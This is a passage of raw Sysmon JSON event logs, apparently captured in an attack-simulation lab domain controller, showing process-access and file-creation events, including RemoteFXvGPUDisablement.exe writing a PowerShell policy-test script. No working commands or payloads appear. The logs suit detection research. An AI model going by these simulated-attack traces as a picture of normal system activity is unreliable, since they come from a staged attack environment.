STEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1960\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1960","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.063\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nProcessId: 2184\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_wmnul2s4.vxc.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.063","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.063","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_wmnul2s4.vxc.ps1","CreationUtcTime":"2020-08-07 11:49:42.063","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.063\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_0f2llh3u.s0j.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.063","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.063","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010693E0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_0f2llh3u.s0j.ps1","CreationUtcTime":"2020-08-07 11:49:42.063","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.125\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001054400100}\r\nProcessId: 2192\r\nImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_awan0phj.lwl.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.125","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.125","ProcessGuid":"{90617006-3FD4-5F2D-0000-001054400100}","Image":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_awan0phj.lwl.ps1","CreationUtcTime":"2020-08-07 11:49:42.125","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.000\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 